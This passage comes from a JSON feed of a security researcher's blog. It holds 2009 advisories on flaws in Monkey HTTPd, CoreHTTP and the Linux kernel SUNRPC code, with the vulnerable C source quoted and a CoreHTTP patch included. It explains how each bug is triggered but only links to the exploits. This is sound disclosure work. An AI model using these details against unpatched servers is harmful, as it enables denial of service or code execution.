27cbcd01cf0e1b6a2ba82d4c0209a791957a3c1c29c131b0208f77981a1a81aa<\/p>\n<\/blockquote>\n"},{"title":"Advisory: Monkey HTTPd improper input validation vulnerability","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/12\/14\/monkey-httpd-vulnerability\/"}},"updated":"2009-12-14T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/12\/14\/monkey-httpd-vulnerability","content":"<p><em>Note: The original advisory can be found\n<a href=\"http:\/\/census-labs.com\/news\/2009\/12\/14\/monkey-httpd\/\">here<\/a>.<\/em><\/p>\n\n<table>\n  <tbody>\n    <tr>\n      <td>CENSUS ID:<\/td>\n      <td>CENSUS-2009-0004<\/td>\n    <\/tr>\n    <tr>\n      <td>Affected products:<\/td>\n      <td>Monkey web server versions \u2264 0.9.2<\/td>\n    <\/tr>\n    <tr>\n      <td>Class:<\/td>\n      <td>Improper Input Validation (<a href=\"http:\/\/cwe.mitre.org\/data\/definitions\/20.html\">CWE-20<\/a>), Incorrect Calculation (<a href=\"http:\/\/cwe.mitre.org\/data\/definitions\/682.html\">CWE-682<\/a>)<\/td>\n    <\/tr>\n    <tr>\n      <td>Remote:<\/td>\n      <td>Yes<\/td>\n    <\/tr>\n    <tr>\n      <td>Discovered by:<\/td>\n      <td>Patroklos Argyroudis<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>We have discovered a remotely exploitable \u201cimproper input \nvalidation\u201d vulnerability in the Monkey web server that allows an \nattacker to perform denial of service attacks by repeatedly crashing worker \nthreads that process HTTP requests.<\/p>\n\n<h3 id=\"details\">Details<\/h3>\n\n<p><a href=\"http:\/\/www.monkey-project.com\/\">Monkey<\/a> is a fast, efficient, small and easy to\nconfigure HTTP\/1.1 compliant web server. It has been designed to be scalable with\nlow memory and CPU consumption. More information about its features can be found\n<a href=\"http:\/\/www.monkey-project.com\/about\">here<\/a>.<\/p>\n\n<p>Monkey (up to and including version 0.9.2) employs an insufficient input \nvalidation method for handling HTTP requests with invalid connection headers. \nSpecifically, the vulnerability is in the calculation for the end of the \nrequest body buffer related to newline characters in function \n<code class=\"language-plaintext highlighter-rouge\">Request_Find_Variable()<\/code> in the file <code class=\"language-plaintext highlighter-rouge\">src\/request.c<\/code>:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">364<\/span><span class=\"o\">:<\/span> <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">Request_Find_Variable<\/span><span class=\"p\">(<\/span><span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">request_body<\/span><span class=\"p\">,<\/span>  <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">string<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">365<\/span><span class=\"o\">:<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">366<\/span><span class=\"o\">:<\/span>   <span class=\"kt\">int<\/span> <span class=\"n\">pos_init_var<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">pos_end_var<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">367<\/span><span class=\"o\">:<\/span>   <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">var_value<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">368<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">369<\/span><span class=\"o\">:<\/span>   <span class=\"cm\">\/* Existe *string en request_body ??? *\/<\/span>        \n<span class=\"mi\">370<\/span><span class=\"o\">:<\/span>   <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">strstr2<\/span><span class=\"p\">(<\/span><span class=\"n\">request_body<\/span><span class=\"p\">,<\/span> <span class=\"n\">string<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">371<\/span><span class=\"o\">:<\/span>       <span class=\"k\">return<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">372<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">373<\/span><span class=\"o\">:<\/span>   <span class=\"n\">pos_init_var<\/span> <span class=\"o\">=<\/span> <span class=\"n\">str_search<\/span><span class=\"p\">(<\/span><span class=\"n\">request_body<\/span><span class=\"p\">,<\/span> <span class=\"n\">string<\/span><span class=\"p\">,<\/span> <span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">string<\/span><span class=\"p\">));<\/span>\n<span class=\"mi\">374<\/span><span class=\"o\">:<\/span>   <span class=\"n\">pos_end_var<\/span> <span class=\"o\">=<\/span> <span class=\"n\">str_search<\/span><span class=\"p\">(<\/span><span class=\"n\">request_body<\/span><span class=\"o\">+<\/span><span class=\"n\">pos_init_var<\/span><span class=\"p\">,<\/span> <span class=\"s\">\"<\/span><span class=\"se\">\\n<\/span><span class=\"s\">\"<\/span><span class=\"p\">,<\/span> <span class=\"mi\">1<\/span><span class=\"p\">)<\/span> <span class=\"o\">-<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">375<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">376<\/span><span class=\"o\">:<\/span>   <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">pos_init_var<\/span><span class=\"o\">&lt;=<\/span><span class=\"mi\">0<\/span> <span class=\"o\">||<\/span> <span class=\"n\">pos_end_var<\/span><span class=\"o\">&lt;=<\/span><span class=\"mi\">0<\/span><span class=\"p\">){<\/span>\n<span class=\"mi\">377<\/span><span class=\"o\">:<\/span>       <span class=\"k\">return<\/span>  <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span>   \n<span class=\"mi\">378<\/span><span class=\"o\">:<\/span>   <span class=\"p\">}<\/span>\n<span class=\"mi\">379<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">380<\/span><span class=\"o\">:<\/span>   <span class=\"n\">pos_init_var<\/span> <span class=\"o\">+=<\/span> <span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">string<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">381<\/span><span class=\"o\">:<\/span>   <span class=\"n\">pos_end_var<\/span> <span class=\"o\">=<\/span> <span class=\"p\">(<\/span><span class=\"kt\">unsigned<\/span> <span class=\"kt\">int<\/span><span class=\"p\">)<\/span> <span class=\"p\">(<\/span><span class=\"n\">pos_init_var<\/span>  <span class=\"o\">+<\/span> <span class=\"n\">pos_end_var<\/span><span class=\"p\">)<\/span> <span class=\"o\">-<\/span> <span class=\"p\">(<\/span><span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">string<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">382<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">383<\/span><span class=\"o\">:<\/span>   <span class=\"n\">var_value<\/span> <span class=\"o\">=<\/span> <span class=\"n\">m_copy_string<\/span><span class=\"p\">(<\/span><span class=\"n\">request_body<\/span><span class=\"p\">,<\/span> <span class=\"n\">pos_init_var<\/span><span class=\"p\">,<\/span> <span class=\"n\">pos_end_var<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">384<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">385<\/span><span class=\"o\">:<\/span>   <span class=\"k\">return<\/span> <span class=\"p\">(<\/span><span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"p\">)<\/span> <span class=\"n\">var_value<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">386<\/span><span class=\"o\">:<\/span> <span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>With a specially crafted request body the <code class=\"language-plaintext highlighter-rouge\">pos_init_var<\/code> integer can take the \nvalue <code class=\"language-plaintext highlighter-rouge\">0x1c<\/code> (<code class=\"language-plaintext highlighter-rouge\">28<\/code> in decimal) and the <code class=\"language-plaintext highlighter-rouge\">pos_end_var<\/code> integer can take the value \n<code class=\"language-plaintext highlighter-rouge\">0x1a<\/code> (<code class=\"language-plaintext highlighter-rouge\">26<\/code> in decimal). Then in the <code class=\"language-plaintext highlighter-rouge\">m_copy_string()<\/code> function, the \ncalculation for the unsigned integer <code class=\"language-plaintext highlighter-rouge\">size<\/code> in line 428 (file <code class=\"language-plaintext highlighter-rouge\">src\/utils.c<\/code>) \nleads to a signedness bug and <code class=\"language-plaintext highlighter-rouge\">m_copy_string()<\/code> returns NULL (line 438, file \n<code class=\"language-plaintext highlighter-rouge\">src\/utils.c<\/code>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">423<\/span><span class=\"o\">:<\/span> <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">m_copy_string<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span> <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">string<\/span><span class=\"p\">,<\/span> <span class=\"kt\">int<\/span> <span class=\"n\">pos_init<\/span><span class=\"p\">,<\/span> <span class=\"kt\">int<\/span> <span class=\"n\">pos_end<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">424<\/span><span class=\"o\">:<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">425<\/span><span class=\"o\">:<\/span>   <span class=\"kt\">unsigned<\/span> <span class=\"kt\">int<\/span> <span class=\"n\">size<\/span><span class=\"p\">,<\/span> <span class=\"n\">bytes<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">426<\/span><span class=\"o\">:<\/span>   <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">buffer<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">427<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">428<\/span><span class=\"o\">:<\/span>   <span class=\"n\">size<\/span> <span class=\"o\">=<\/span> <span class=\"p\">(<\/span><span class=\"kt\">unsigned<\/span> <span class=\"kt\">int<\/span><span class=\"p\">)<\/span> <span class=\"p\">(<\/span><span class=\"n\">pos_end<\/span> <span class=\"o\">-<\/span> <span class=\"n\">pos_init<\/span> <span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">429<\/span><span class=\"o\">:<\/span>   <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">size<\/span><span class=\"o\">&lt;=<\/span><span class=\"mi\">2<\/span><span class=\"p\">)<\/span> <span class=\"n\">size<\/span><span class=\"o\">=<\/span><span class=\"mi\">4<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">430<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">431<\/span><span class=\"o\">:<\/span>   <span class=\"n\">buffer<\/span> <span class=\"o\">=<\/span> <span class=\"n\">M_malloc<\/span><span class=\"p\">(<\/span><span class=\"n\">size<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">432<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">433<\/span><span class=\"o\">:<\/span>   <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"n\">buffer<\/span><span class=\"p\">){<\/span>\n<span class=\"mi\">434<\/span><span class=\"o\">:<\/span>       <span class=\"k\">return<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">435<\/span><span class=\"o\">:<\/span>   <span class=\"p\">}<\/span>\n<span class=\"mi\">436<\/span><span class=\"o\">:<\/span>\n<span class=\"mi\">437<\/span><span class=\"o\">:<\/span>   <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">pos_end<\/span><span class=\"o\">&gt;<\/span><span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">string<\/span><span class=\"p\">)<\/span> <span class=\"o\">||<\/span> <span class=\"p\">(<\/span><span class=\"n\">pos_init<\/span> <span class=\"o\">&gt;<\/span> <span class=\"n\">pos_end<\/span><span class=\"p\">)){<\/span>\n<span class=\"mi\">438<\/span><span class=\"o\">:<\/span>       <span class=\"k\">return<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">439<\/span><span class=\"o\">:<\/span>   <span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>This causes <code class=\"language-plaintext highlighter-rouge\">Request_Find_Variable()<\/code> to return NULL (line 344, file \n<code class=\"language-plaintext highlighter-rouge\">src\/request.c<\/code>) and this to be used in the <code class=\"language-plaintext highlighter-rouge\">strstr2()<\/code> call at line 345 of \nfile <code class=\"language-plaintext highlighter-rouge\">src\/request.c<\/code>:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">344<\/span><span class=\"o\">:<\/span>   <span class=\"n\">sr<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">connection<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Request_Find_Variable<\/span><span class=\"p\">(<\/span><span class=\"n\">request_body<\/span><span class=\"p\">,<\/span> <span class=\"n\">RH_CONNECTION<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">345<\/span><span class=\"o\">:<\/span>   <span class=\"k\">if<\/span><span class=\"p\">((<\/span><span class=\"n\">strstr2<\/span><span class=\"p\">(<\/span><span class=\"n\">sr<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">connection<\/span><span class=\"p\">,<\/span><span class=\"s\">\"Keep-Alive\"<\/span><span class=\"p\">))<\/span><span class=\"o\">!=<\/span><span class=\"nb\">NULL<\/span><span class=\"p\">){<\/span>\n<span class=\"mi\">346<\/span><span class=\"o\">:<\/span>       <span class=\"n\">sr<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">keep_alive<\/span><span class=\"o\">=<\/span><span class=\"n\">VAR_ON<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">347<\/span><span class=\"o\">:<\/span>   <span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>This vulnerability can allow an attacker to perform denial of service attacks \nby repeatedly crashing Monkey worker threads that process HTTP requests. We \nhave developed <a href=\"http:\/\/census-labs.com\/media\/monkeyex.txt\">a proof-of-concept exploit<\/a>\nto demonstrate the vulnerability.<\/p>\n\n<p>The maintainer of Monkey has been contacted and a new version of the web server \n(0.9.3) has been <a href=\"http:\/\/www.monkey-project.com\/downloads\">released<\/a> that\naddresses this issue. All affected parties  are advised to upgrade to the latest\nversion available.<\/p>\n"},{"title":"Advisory: CoreHTTP web server off-by-one buffer overflow vulnerability","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/12\/02\/corehttp-vulnerability\/"}},"updated":"2009-12-02T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/12\/02\/corehttp-vulnerability","content":"<p><em>Note: The original advisory can be found\n<a href=\"http:\/\/census-labs.com\/news\/2009\/12\/02\/corehttp-web-server\/\">here<\/a>.<\/em><\/p>\n\n<table>\n  <tbody>\n    <tr>\n      <td>CENSUS ID:<\/td>\n      <td>CENSUS-2009-0003<\/td>\n    <\/tr>\n    <tr>\n      <td>CVE ID:<\/td>\n      <td><a href=\"http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2009-3586\">CVE-2009-3586<\/a><\/td>\n    <\/tr>\n    <tr>\n      <td>Affected products:<\/td>\n      <td>CoreHTTP web server versions \u2264 0.5.3.1<\/td>\n    <\/tr>\n    <tr>\n      <td>Class:<\/td>\n      <td>Improper Input Validation (<a href=\"http:\/\/cwe.mitre.org\/data\/definitions\/20.html\">CWE-20<\/a>), Failure to Constrain Operations within Bounds (<a href=\"http:\/\/cwe.mitre.org\/data\/definitions\/119.html\">CWE-119<\/a>)<\/td>\n    <\/tr>\n    <tr>\n      <td>Remote:<\/td>\n      <td>Yes<\/td>\n    <\/tr>\n    <tr>\n      <td>Discovered by:<\/td>\n      <td>Patroklos Argyroudis<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>We have discovered a remotely exploitable \u201cimproper input\nvalidation\u201d vulnerability in the CoreHTTP web server that leads to an\noff-by-one stack buffer overflow. The vulnerability can lead to denial of\nservice attacks against the web server and potentially to the remote execution\nof arbitrary code with the privileges of the user running the server.<\/p>\n\n<h3 id=\"details\">Details<\/h3>\n\n<p><a href=\"http:\/\/corehttp.sourceforge.net\/\">CoreHTTP<\/a> is a minimalist web server\nfocusing on speed and size. More information about its features can be found\n<a href=\"http:\/\/corehttp.sourceforge.net\/man.html\">here<\/a>.<\/p>\n\n<p>CoreHTTP (up to and including version 0.5.3.1) employs an insufficient input \nvalidation method for handling HTTP requests with invalid method names and \nURIs. Specifically, the vulnerability is an off-by-one buffer overflow in the \n<code class=\"language-plaintext highlighter-rouge\">sscanf()<\/code> call at file <code class=\"language-plaintext highlighter-rouge\">src\/http.c<\/code> line numbers 45 and 46:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">45<\/span><span class=\"o\">:<\/span>    <span class=\"n\">sscanf<\/span><span class=\"p\">(<\/span><span class=\"n\">parentsprock<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">buffer<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">46<\/span><span class=\"o\">:<\/span>        <span class=\"s\">\"%\"<\/span> <span class=\"n\">PATHSIZE_S<\/span> <span class=\"s\">\"[A-Za-z] %\"<\/span> <span class=\"n\">PATHSIZE_S<\/span> <span class=\"s\">\"s%*[ <\/span><span class=\"se\">\\t\\n<\/span><span class=\"s\">]\"<\/span><span class=\"p\">,<\/span> <span class=\"n\">req<\/span><span class=\"p\">,<\/span> <span class=\"n\">url<\/span><span class=\"p\">);<\/span><\/code><\/pre><\/figure>\n\n<p>The buffers <code class=\"language-plaintext highlighter-rouge\">req<\/code> and <code class=\"language-plaintext highlighter-rouge\">url<\/code> are declared to be of size 256 bytes (<code class=\"language-plaintext highlighter-rouge\">PATHSIZE<\/code>) \nand the <code class=\"language-plaintext highlighter-rouge\">sscanf()<\/code> call writes 256 bytes (<code class=\"language-plaintext highlighter-rouge\">PATHSIZE_S<\/code>) to these buffers \nwithout NULL terminating them.<\/p>\n\n<p>Note that this is not vulnerability\n<a href=\"http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2007-4060\">CVE-2007-4060<\/a> in\nwhich the same <code class=\"language-plaintext highlighter-rouge\">sscanf()<\/code> call contained no bounds check at all.<\/p>\n\n<p>This vulnerability can lead to denial of service attacks against the CoreHTTP \nweb server and potentially to the remote execution of arbitrary code with the \nprivileges of the user running the server. We have developed\n<a href=\"http:\/\/census-labs.com\/media\/corex.txt\">a proof-of-concept exploit<\/a>\nto demonstrate the vulnerability.<\/p>\n\n<p>To address the problem we propose the following unofficial patch (download it \nfrom <a href=\"http:\/\/census-labs.com\/media\/corehttp-0.5.3.1-patch.txt\">here<\/a>),\nsince CoreHTTP\u2019s author has not released an official fix yet:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"o\">---<\/span> <span class=\"n\">corehttp<\/span><span class=\"o\">\/<\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">common<\/span><span class=\"p\">.<\/span><span class=\"n\">h<\/span><span class=\"p\">.<\/span><span class=\"n\">orig<\/span>  <span class=\"mi\">2009<\/span><span class=\"o\">-<\/span><span class=\"mi\">12<\/span><span class=\"o\">-<\/span><span class=\"mo\">01<\/span> <span class=\"mi\">09<\/span><span class=\"o\">:<\/span><span class=\"mi\">29<\/span><span class=\"o\">:<\/span><span class=\"mi\">18<\/span><span class=\"p\">.<\/span><span class=\"mo\">000000000<\/span> <span class=\"o\">+<\/span><span class=\"mo\">0200<\/span>\n<span class=\"o\">+++<\/span> <span class=\"n\">corehttp<\/span><span class=\"o\">\/<\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">common<\/span><span class=\"p\">.<\/span><span class=\"n\">h<\/span>       <span class=\"mi\">2009<\/span><span class=\"o\">-<\/span><span class=\"mi\">12<\/span><span class=\"o\">-<\/span><span class=\"mo\">01<\/span> <span class=\"mi\">09<\/span><span class=\"o\">:<\/span><span class=\"mi\">31<\/span><span class=\"o\">:<\/span><span class=\"mi\">47<\/span><span class=\"p\">.<\/span><span class=\"mo\">000000000<\/span> <span class=\"o\">+<\/span><span class=\"mo\">0200<\/span>\n<span class=\"err\">@@<\/span> <span class=\"o\">-<\/span><span class=\"mi\">36<\/span><span class=\"p\">,<\/span><span class=\"mi\">7<\/span> <span class=\"o\">+<\/span><span class=\"mi\">36<\/span><span class=\"p\">,<\/span><span class=\"mi\">7<\/span> <span class=\"err\">@@<\/span>\n <span class=\"cp\">#define BUFSIZE        2048\n<\/span> <span class=\"cp\">#define BUFSIZE_S      \"2048\"\n<\/span> <span class=\"cp\">#define PATHSIZE       256\n<\/span><span class=\"o\">-<\/span><span class=\"err\">#<\/span><span class=\"n\">define<\/span> <span class=\"n\">PATHSIZE_S<\/span>     <span class=\"s\">\"256\"<\/span>\n<span class=\"o\">+<\/span><span class=\"err\">#<\/span><span class=\"n\">define<\/span> <span class=\"n\">PATHSIZE_S<\/span>     <span class=\"s\">\"255\"<\/span>\n <span class=\"cp\">#define SETSIZE         16\n<\/span>\n <span class=\"cp\">#ifndef GLOBALS_DEFINED<\/span><\/code><\/pre><\/figure>\n\n"},{"title":"Advisory: Linux kernel SUNRPC off-by-two buffer overflow","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/12\/01\/linux-kernel-sunrpc-bug\/"}},"updated":"2009-12-01T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/12\/01\/linux-kernel-sunrpc-bug","content":"<p><em>Note: The original advisory can be found\n<a href=\"http:\/\/census-labs.com\/news\/2009\/12\/01\/linux-kernel-sunrpc\/\">here<\/a>.<\/em><\/p>\n\n<table>\n  <tbody>\n    <tr>\n      <td>CENSUS ID:<\/td>\n      <td>CENSUS-2009-0005<\/td>\n    <\/tr>\n    <tr>\n      <td>Affected products:<\/td>\n      <td>Linux kernel versions from 2.6.32 to 2.6.32-rc7<\/td>\n    <\/tr>\n    <tr>\n      <td>Class:<\/td>\n      <td>Off-by-two stack buffer overflow<\/td>\n    <\/tr>\n    <tr>\n      <td>Discovered by:<\/td>\n      <td>Patroklos Argyroudis<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>We have found an off-by-two stack buffer overflow in the Linux kernel SUNRPC \nimplementation. Linux kernel versions from 2.6.32 to 2.6.32-rc7 are affected.<\/p>\n\n<h3 id=\"details\">Details<\/h3>\n\n<p>There is an off-by-two stack buffer overflow in function <code class=\"language-plaintext highlighter-rouge\">rpc_uaddr2sockaddr()<\/code> \nof file <code class=\"language-plaintext highlighter-rouge\">net\/sunrpc\/addr.c<\/code> in the Linux kernel SUNRPC implementation. It was \nintroduced in commit\n<a href=\"http:\/\/git.kernel.org\/?p=linux\/kernel\/git\/torvalds\/linux-2.6.git;a=commit;h=a02d692611348f11ee1bc37431a883c3ff2de23e\">a02d692611348f11ee1bc37431a883c3ff2de23e<\/a>.<\/p>\n\n<p>The function <code class=\"language-plaintext highlighter-rouge\">rpc_uaddr2sockaddr()<\/code> that is used to convert a universal address \nto a socket address takes as an argument the <code class=\"language-plaintext highlighter-rouge\">size_t<\/code> variable <code class=\"language-plaintext highlighter-rouge\">uaddr_len<\/code> (the \nlength of the universal address string). The stack buffer <code class=\"language-plaintext highlighter-rouge\">buf<\/code> is declared in \nline 315 to be of size <code class=\"language-plaintext highlighter-rouge\">RPCBIND_MAXUADDRLEN<\/code>. If the passed argument \n<code class=\"language-plaintext highlighter-rouge\">uaddr_len<\/code> is equal to <code class=\"language-plaintext highlighter-rouge\">RPCBIND_MAXUADDRLEN<\/code> then the condition of line 319 is \nfalse and then at lines 324 and 325 there are two out-of-bounds assignments:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">312<\/span><span class=\"o\">:<\/span> <span class=\"kt\">size_t<\/span> <span class=\"n\">rpc_uaddr2sockaddr<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span> <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">uaddr<\/span><span class=\"p\">,<\/span> <span class=\"k\">const<\/span> <span class=\"kt\">size_t<\/span> <span class=\"n\">uaddr_len<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">313<\/span><span class=\"o\">:<\/span>                           <span class=\"k\">struct<\/span> <span class=\"n\">sockaddr<\/span> <span class=\"o\">*<\/span><span class=\"n\">sap<\/span><span class=\"p\">,<\/span> <span class=\"k\">const<\/span> <span class=\"kt\">size_t<\/span> <span class=\"n\">salen<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">314<\/span><span class=\"o\">:<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">315<\/span><span class=\"o\">:<\/span>        <span class=\"kt\">char<\/span> <span class=\"o\">*<\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span> <span class=\"n\">buf<\/span><span class=\"p\">[<\/span><span class=\"n\">RPCBIND_MAXUADDRLEN<\/span><span class=\"p\">];<\/span>\n            <span class=\"p\">...<\/span>\n<span class=\"mi\">319<\/span><span class=\"o\">:<\/span>        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">uaddr_len<\/span> <span class=\"o\">&gt;<\/span> <span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">buf<\/span><span class=\"p\">))<\/span>\n<span class=\"mi\">320<\/span><span class=\"o\">:<\/span>            <span class=\"k\">return<\/span> <span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n            <span class=\"p\">...<\/span>\n<span class=\"mi\">324<\/span><span class=\"o\">:<\/span>        <span class=\"n\">buf<\/span><span class=\"p\">[<\/span><span class=\"n\">uaddr_len<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"sc\">'\\n'<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">325<\/span><span class=\"o\">:<\/span>        <span class=\"n\">buf<\/span><span class=\"p\">[<\/span><span class=\"n\">uaddr_len<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"sc\">'\\0'<\/span><span class=\"p\">;<\/span>\n            <span class=\"p\">...<\/span>\n<span class=\"mi\">363<\/span><span class=\"o\">:<\/span> <span class=\"p\">}<\/span>\n<span class=\"mi\">364<\/span><span class=\"o\">:<\/span> <span class=\"n\">EXPORT_SYMBOL_GPL<\/span><span class=\"p\">(<\/span><span class=\"n\">rpc_uaddr2sockaddr<\/span><span class=\"p\">);<\/span><\/code><\/pre><\/figure>\n\n<p>Since the function <code class=\"language-plaintext highlighter-rouge\">rpc_uaddr2sockaddr()<\/code> is declared as an <code class=\"language-plaintext highlighter-rouge\">EXPORT_SYMBOL_GPL<\/code> \nfunction it can be used by kernel modules and potentially be reachable by user \ninput. The bug was <a href=\"http:\/\/bugzilla.kernel.org\/show_bug.cgi?id=14546\">reported<\/a>\nand fixed in\n<a href=\"http:\/\/www.kernel.org\/pub\/linux\/kernel\/v2.6\/testing\/ChangeLog-2.6.32-rc8\">2.6.32-rc8<\/a>\n(commit\n<a href=\"http:\/\/git.kernel.org\/?p=linux\/kernel\/git\/torvalds\/linux-2.6.git;a=commit;h=1e360a60b24ad8f8685af66fa6de10ce46693a4b\">1e360a60b24ad8f8685af66fa6de10ce46693a4b<\/a>).<\/p>\n"},{"title":"Flickr is the new Bugtraq","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/08\/26\/flickr-is-the-new-bugtraq\/"}},"updated":"2009-08-26T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/08\/26\/flickr-is-the-new-bugtraq","content":"<p>I decided to start disclosing bugs on\n<a href=\"http:\/\/www.flickr.com\/photos\/argp\/3842801482\/\">Flickr<\/a>.<\/p>\n"},{"title":"ld-linuxv.so.1 rootkit","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/08\/21\/ld-linuxv-so-1-rootkit\/"}},"updated":"2009-08-21T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/08\/21\/ld-linuxv-so-1-rootkit","content":"<p>Yesterday I helped my friend <a href=\"http:\/\/www.void.gr\/kargig\/\">kargig<\/a> to analyse a\nrootkit he has recovered from a compromised Linux system. You can find the\ncomplete write-up we put together at his\n<a href=\"http:\/\/www.void.gr\/kargig\/blog\/2009\/08\/21\/theres-a-rootkit-in-the-closet\/\">blog<\/a>.<\/p>\n"},{"title":"CVE-2008-3531: FreeBSD kernel stack overflow exploit development","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/07\/04\/cve-2008-3531-exploit\/"}},"updated":"2009-07-04T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/07\/04\/cve-2008-3531-exploit","content":"<p>About four months ago I developed a reliable exploit for vulnerability \n<a href=\"http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2008-3531\">CVE-2008-3531<\/a>,\nwhich is also addressed in the advisory \n<a 